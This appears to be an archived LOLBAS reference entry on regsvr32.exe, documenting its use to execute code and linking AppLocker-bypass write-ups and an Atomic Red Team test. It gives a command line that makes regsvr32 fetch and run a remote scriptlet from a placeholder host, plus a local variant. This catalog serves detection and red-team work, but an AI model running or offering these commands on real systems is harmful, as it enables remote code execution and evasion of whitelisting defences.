Regsvr32.md

UPDATE BOOKMARKS - PROJECT MOVED TO A DEDICATED PROJECT SITE. THIS SITE WILL NOT BE UPDATED ANYMORE, BUT WILL BE KEPT FOR HISTORICAL REASONS.

New site: https://github.com/LOLBAS-Project/LOLBAS Web portal: https://lolbas-project.github.io/

Regsvr32.exe

• Functions: Execute

regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll    
    
regsvr32.exe /s /u /i:file.sct scrobj.dll     

Acknowledgements:

• Casey Smith - @subtee

Code sample:

• Regsvr32_calc.sct[1]

Resources:

• https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Regsvr32.md
• https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
• https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/

Full path:

C:\Windows\System32\regsvr32.exe
C:\Windows\SysWOW64\regsvr32.exe

Notes: [1]Code sample linked to Red Canary - Atomic Red Team